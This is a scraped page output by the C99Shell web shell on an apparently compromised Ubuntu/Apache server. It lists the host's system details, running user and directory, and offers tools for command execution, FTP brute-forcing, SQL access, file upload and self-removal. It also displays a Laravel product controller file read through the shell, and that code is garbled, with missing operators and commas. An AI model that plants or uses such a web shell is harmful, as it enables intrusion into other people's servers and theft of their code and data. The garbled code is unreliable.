!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/jiff/app/Http/Controllers/   drwxr-xr-x
Free 13.26 GB of 57.97 GB (22.88%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ProductController.php (7 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers;
use 
App\Models\Product;
use 
App\Models\ProductVariants;
use 
App\Models\InventoryHistory;
use 
App\Models\StoreSettings;

use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\DB;
use 
Illuminate\Support\Facades\Validator;

// use GuzzleHttp\Client;
use DateTime;


class 
ProductController extends Controller
{
    
/**
     * Create a new controller instance.
     *
     * @return void
     */
    
public function __construct()
    {
        
//
    
}
    
// get product
    
function index()
    {   
        return 
response()->json('No Access',403); 
        
// try {
        //     $categories=Product::first();
        //     return response()->json(["data"=>$categories]); 

        // } catch (\Exception $exception) {
        //     return response()->json(['error' => 'true', 'message' =>$exception->getMessage()],500);
        // }
    
}
    
//create new product
    
public function create(Request $req)
    {
        
$vendor_id =auth()->user()->id;
        
$validator Validator::make($req->all(), [
            
'title' => 'required|string|between:2,120',
            
"price" => 'required',
            
"supplier" => 'nullable|string|between:2,120',
            
"folder" => 'required|string|between:2,100',
            
"visibility" => 'required|integer|in:0,1'
            
"variant_name" => 'required|string|between:2,120',
            
"inventory" =>'required|integer|between:0,3000'
        
]);
        if (
$validator->fails()) {
            return 
response()->json(['error' => 'true''message' => $validator->errors()->all()],402);
        }
        
$product_code=$vendor_id.'_'."1001";
        
$pr_code=Product::select('product_code')->where('vendor_id',$vendor_id)->orderBY('id','desc')->first();
        if (
$pr_code) {
            
$temp=substr($pr_code->product_codestrpos($pr_code->product_code"_") + 1); 
            
// strstr($pr_code->product_code,$vendor_id.'_');
            
$product_code=$vendor_id.'_'.$temp+1;
        }
        
DB::beginTransaction();
        try {
            
$productProduct::create([
                
'shop_id' => $req->input('shop_id'),
                
'title' => $req->input('title'),
                
'product_code'=>$product_code,
                
'vendor_id' => $vendor_id,
                
'description' => $req->input('description'),
                
"folder" => $req->input("folder"),
                
'visibility' => $req->input('visibility'),
                
'categories' => $req->input('categories'),
                
'sub_categories' => $req->input('sub_categories'),
            ]);
        } catch (
\Exception $exception) {
            
DB::rollback();
            return 
response()->json(['error' => 'true''message' =>$exception->getMessage()],500);
        }
        if (
$product) {
            try {
                
$data=StoreSettings::select('low_stock')->where('vendor_id',$vendor_id)->first();
                
$low_stock=ceil(($data->low_stock*$req->input('inventory'))/100);
                
$ProductVariants ProductVariants::create([
                    
'name' => $req->input('variant_name'),
                    
'buy_price' => $req->input('buy_price'),
                    
'price' => $req->input('price'),
                    
'inventory' => $req->input('inventory'),
                    
"supplier" => $req->input("supplier"),
                    
'low_stock' => $low_stock,
                    
'product_id' => $product->id
                
]);
            }catch (
\Exception $exception) {
                
DB::rollback();
                return 
response()->json(['error' => 'true''message' =>$exception->getMessage()],500);
            }
            
$InventoryHistory InventoryHistory::create([
                
'variant_id' => $ProductVariants->id,
                
'product_id' => $product->id,
                
'no_of_items' => $req->input('inventory'),
                
"supplier" => $req->input("supplier"),
                
'buy_price' => $req->input('buy_price'),
                
'type' => 1,
                
"previous_quantity" => 0,
            ]);
            
DB::commit();
            
$d = new DateTime();
            
$t=$d->format("ymdHisv");
            
$data=["_id"=>$t,"id"=>$product->id,"variant_id"=>$ProductVariants->id,"low_stock"=>$low_stock,'product_code'=>$product_code,"created_at"=> $product->created_at];
            return 
response()->json(['message' => "Product Added Successfully","data"=>$data]);
            
        } else {
            
DB::rollback();
            return 
response()->json(['error' => 'true','message' => "Product Not created"],500);
        }
    }

    
// update product
    
public function update(Request $req)
    {
        try{
            
$vendor_id =auth()->user()->id;
            
$validator Validator::make($req->all(), [
                
'title' => 'required|string|between:2,120',
                
"description" => 'nullable|string|between:2,120',
                
"visibility" => 'required|integer|in:0,1'
            ]);
            if (
$validator->fails()) {
                
//return error true, with validation error if has
                
return response()->json(['error' => 'true''message' => $validator->errors()->all()],402);
            }
            
$product Product::where('id',$req->input('id'))->first();
            if (empty(
$product)) {
                return 
response()->json(['error' => 'true''message' =>"Invalid product"],402);
            }else{
                
$product->title $req->input('title');
                
$product->description $req->input('description');
                
$product->categories $req->input('categories');
                
$product->sub_categories $req->input('sub_categories');
                
$product->visibility $req->input('visibility');
                
$product->shop_id $req->input('shop_id');
                
$ven=$product->save();
                if (
$ven) {
                    return 
response()->json(['message' => "Product Successfully Updated."]);
                }else {
                    return 
response()->json(['error' => 'true''message' => "Product not updated"],500);
                }
            }
        } catch (
\Exception $exception) {
            return 
response()->json(['error' => 'true''message' =>$exception->getMessage()],500);
        }
    }

    
// delete categories
    
public function delete($id)
    {
        try {
            
$vendor_id =auth()->user()->id;
            
$product Product::where('id',$id)->where('vendor_id',$vendor_id)->first();
            if (empty(
$product)) {
                return 
response()->json(['error' =>"true""message"=>"Invalid Product"],402);
            }else {
                
$product->is_archived=1;
                
$product->save();
                return 
response()->json(['message' => "Successfully Archived."]);
            }
        } catch(
\Exception $exception) {
        return 
response()->json(['error' => 'true''message' =>$exception->getMessage()],500);
        }  
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0062 ]--